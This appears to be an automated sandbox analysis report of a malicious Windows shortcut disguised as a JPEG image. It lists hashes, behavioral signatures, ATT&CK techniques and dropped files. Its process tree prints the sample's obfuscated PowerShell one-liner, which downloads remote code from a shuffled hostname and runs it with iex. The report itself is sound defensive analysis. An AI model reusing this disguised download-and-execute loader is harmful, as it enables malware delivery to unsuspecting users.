6ba87a6dd65a55967e1eef1d1fa93c21c6c7b3b451664f23a76ccd7adc01de62

Analysis

max time kernel
150s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/07/2026, 07:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_100202.jpg.lnk
Size 1KB
Sample260729-jdv6laybma
SHA256 6ba87a6dd65a55967e1eef1d1fa93c21c6c7b3b451664f23a76ccd7adc01de62
MD5 92468255f36e6b8b24847d55d3548658
SHA1 5e8c0f2ba518c1b3d34aca1551f27934b6cdba34
SHA512 167e6f4794f3c33c261a6e78dcc3b2927f806415b158edb5d5d950062ca6ff5bf297b5536193a952cb399ab607dc4b2896734ffda14bfb6fad8d7739b05e7e9f
TLSH
T14B21AF155BF20369D6BB8B355876631197227E0EDA498FEF0290C294A964120F8B8F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1876	powershell.exe
8	1876	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
828	cmd.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe
1876	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1876	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 828 wrote to memory of 1876	828	cmd.exe	85
PID 1876 wrote to memory of 3452	1876	powershell.exe	86
PID 3452 wrote to memory of 4832	3452	csc.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_100202.jpg.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('now.sh','ay','servp','re','hotoinst','op')[3,2,4,1,0,5] -join $MAiJn) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2qivnqik\2qivnqik.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3452
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES21EB.tmp" "c:\Users\Admin\AppData\Local\Temp\2qivnqik\CSC49C1010C6F904AF98566F0CD4C4AB461.TMP"
      4⤵
      PID:4832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LICENSE.md

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\map-workspaces\LICENSE.md
Size 818B
SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
MD5 2916d8b51a5cc0a350d64389bc07aef6
SHA1 c9d5ac416c1dd7945651bee712dbed4d158d09e1
SHA512 508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74
TLSH
T14301128A62E62A9055D19F956DA2B89E61CCF0673903681430B4E24CDA7704AC07E414
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\metavuln-calculator\LICENSE
Size 754B
SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
MD5 d2cf52aa43e18fdc87562d4c1303f46a
SHA1 58fb4a65fffb438630351e7cafd322579817e5e1
SHA512 54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16
TLSH
T1DC01208FB2E52AD454D19BA53DA1EC8961C9F0773D43AA0430B4E34CCBB780F98AB404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\protobuf-specs\LICENSE
Size 11KB
SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
MD5 dfc1b916d4555a69859202f8bd8ad40c
SHA1 fc22b6ee39814d22e77fe6386c883a58ecac6465
SHA512 1fbe6bb1f60c8932e4dcb927fc8c8131b9c73afd824ecbabc2045e7af07b35a4155a0f8ad3103bf25f192b6d59282bfc927aead3cb7aaeb954e1b6dbd68369fa
SSDEEP 192:qf9qG4QSAVOSbwF1wOFXuFJyQtxmG3ep/7rlzKfHbxc+Xq0rhlkT8cHfH2:kOu9b01DY/rGBt+dc+aclkT8cH+
TLSH
T1B932722BBA4903771AF20162AB4764CEF31EA03F37591525315CC1682F7B96183FB69E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fetch.js

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\sign\dist\types\fetch.js
Size 79B
SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
MD5 24563705cc4bb54fccd88e52bc96c711
SHA1 871fa42907b821246de04785a532297500372fc7
SHA512 2ce8d2cf580623358fef5f4f8925d0c9943a657c2503c80048ca789bf16eacdb980bfc8aaaa50101a738e939926fcf2545500484dcad782c700ee206d8c6f9b9
TLSH
T1C4A01201A934C5F1038000C44525E0C1A0C10432006528A55BA84D65440088C5050001
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\commonjs\package.json
Size 28B
SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
MD5 56368b3e2b84dac2c9ed38b5c4329ec2
SHA1 f67c4acef5973c256c47998b20b5165ab7629ed4
SHA512 d662bff3885118e607079fcbeedb27368589bc0ee89f90b9281723fa08bda65e5a08d9640da188773193c0076ec0a5c92624673a6a961490be163e2553d6f482
MD5 SHA1 SHA512

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\esm\package.json
Size 26B
SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
MD5 2324363c71f28a5b7e946a38dc2d9293
SHA1 7eda542849fb3a4a7b4ba8a7745887adcade1673
SHA512 7437cf8f337d2562a4046246fbfcc5e9949f475a1435e94efbc4b6a55880050077d72692cbc3413e0ccd8f36adf9956a6cc633a2adc85fbff6c4aa2b8edac677
MD5 SHA1 SHA512

Submit Download

2qivnqik.dll

Path C:\Users\Admin\AppData\Local\Temp\2qivnqik\2qivnqik.dll
Size 3KB
SHA256 9ad05c344b72926a79d3baae199f2a21dafefae794cdb273932f411ffcebaa59
MD5 9d4b8dead1928f7041af8b4c603e87c4
SHA1 42afcec52afcd55b8d287de10415ce3e0f2ab4a7
SHA512 a078a534ff832643b4a481e32a7b044a2cbe9ddd6506773c21eafdc3969fe0b7281ad1232494a9118b4b40ffa7bd49e7eceed47b57a88d1228bacb646e661197
TLSH
T1C751EA0A93E8462BE4A70B30AFF3035333B4FC509FB257A999800229AC607546E31FB0
MD5 SHA1 SHA512 TLSH

Submit Download

RES21EB.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES21EB.tmp
Size 1KB
SHA256 64da8b6488712f04ea2afe1469fbd2964bc4358d2c71f16a652ae59bf288e9b9
MD5 e6c5107d9dfb6b5d4babf277e1f0afd5
SHA1 49a2a73195dd183d6e25c706155b8c813abab080
SHA512 bfbb05be19a7b689f341887f67d1b3a7f19796b10a8fccd952883aefb444249f2bc4a131ad3eeef3787ba9e75df0d0e93f6a1ee7481dd12ee46c0f71829eca06
TLSH
T1F6216A0553E94B0EF0B74B3169F6232BA274FD94EF62635AC54042282C41144EEA1E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_pfhlmugw.q3z.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pfhlmugw.q3z.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

2qivnqik.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\2qivnqik\2qivnqik.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

2qivnqik.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\2qivnqik\2qivnqik.cmdline
Size 369B
SHA256 f03e793ed4baeac3b2d0db68ac9d29161891df94a247e549b09219a5884fb0d6
MD5 bddc540def54a69a80fcc3a5c652d233
SHA1 dd77e34bf2a27e2d96db16a6b7e675a3b6bd7410
SHA512 f8b2e2930b5e50f9410b5c1cd3a8c6669b4f4b5abb47059f1e348debac58aea77b8d4b80e3e80ca42cc7e2ca54dc3fc9368ccd3a2bb2eca2cf6898640dfb19b9
TLSH
T1DEE0686F525AC2BD01D9100729ABE4AD82720B432A407F84D858C41FE21704CEFD3B61
MD5 SHA1 SHA512 TLSH

Submit Download

CSC49C1010C6F904AF98566F0CD4C4AB461.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\2qivnqik\CSC49C1010C6F904AF98566F0CD4C4AB461.TMP
Size 652B
SHA256 580cd3c67adc4dff1315eba765f0e847597647b77f0783a94a0f5aa74dca77ae
MD5 21077db9c5cf2075d09a9704b1e43c07
SHA1 866c38df2bd0d560efb99d480531f14498a3b5b7
SHA512 6d213584ed39d0b6188b0150de2bbe84e27ff03da607e323ded73b696ecb1bfdd690871cdddfcfe75d810197dd8df381b7c6bb35e18c64f0558c640f693a450c
TLSH
T146F05E4963F8420EF0F34F30BEF6536391A8BDA4DE3293ED5480071D28645109972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1876-27-0x0000020A17F50000-0x0000020A17F60000-memory.dmp

Download

memory/1876-30-0x0000020A32B40000-0x0000020A32B52000-memory.dmp

Download

memory/1876-31-0x0000020A32B20000-0x0000020A32B2A000-memory.dmp

Download

memory/1876-26-0x0000020A17F50000-0x0000020A17F60000-memory.dmp

Download

memory/1876-25-0x0000020A17F50000-0x0000020A17F60000-memory.dmp

Download

memory/1876-24-0x0000020A17F50000-0x0000020A17F60000-memory.dmp

Download

memory/1876-23-0x0000020A18550000-0x0000020A18558000-memory.dmp

Download

memory/1876-2-0x0000020A17F50000-0x0000020A17F60000-memory.dmp

Download

memory/1876-3-0x0000020A184E0000-0x0000020A18502000-memory.dmp

Download